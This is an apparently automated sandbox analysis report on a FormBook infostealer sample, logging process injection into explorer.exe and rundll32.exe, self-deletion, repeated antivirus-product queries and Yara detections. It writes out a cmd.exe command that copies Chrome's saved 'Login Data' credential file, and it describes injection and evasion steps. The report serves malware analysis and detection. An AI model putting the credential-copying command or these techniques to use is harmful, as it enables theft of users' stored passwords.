Source: C:\Users\user\AppData\Local\Temp\bin.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\bin.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\bin.exe	Thread register set: target process: 684			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread register set: target process: 684			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\wtheeNaAZG.js	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\bin.exe "C:\Users\user\AppData\Local\Temp\bin.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\bin.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V	Jump to behavior

Source: explorer.exe, 00000004.00000000.498270430.0000000006100000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.615050632.0000000001430000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.488652696.0000000001430000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000004.00000000.614262773.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.615050632.0000000001430000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.524457764.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000004.00000000.615050632.0000000001430000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.488652696.0000000001430000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.525211919.0000000001430000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: YProgram Managerf
Source: explorer.exe, 00000004.00000000.615050632.0000000001430000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.488652696.0000000001430000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.525211919.0000000001430000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct

Source: wscript.exe, 00000002.00000003.703731399.0000015597A73000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000003.703744618.0000015597A7C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.959321094.0000015595506000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: wscript.exe, 00000007.00000002.962073296.0000019175BB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.938835842.0000019175BB7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.773589121.0000019175BB7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \MsMpeng.exe

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 23.0.oxx7nkdv4g8.exe.8d0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.oxx7nkdv4g8.exe.8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.bin.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.oxx7nkdv4g8.exe.8d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.bin.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.oxx7nkdv4g8.exe.8d0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.oxx7nkdv4g8.exe.8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000000.888258763.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.577518053.0000000000730000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.577466338.0000000000700000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.539227750.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.981077246.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000001.447624352.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1028333019.0000000004867000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.972949650.0000000000484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
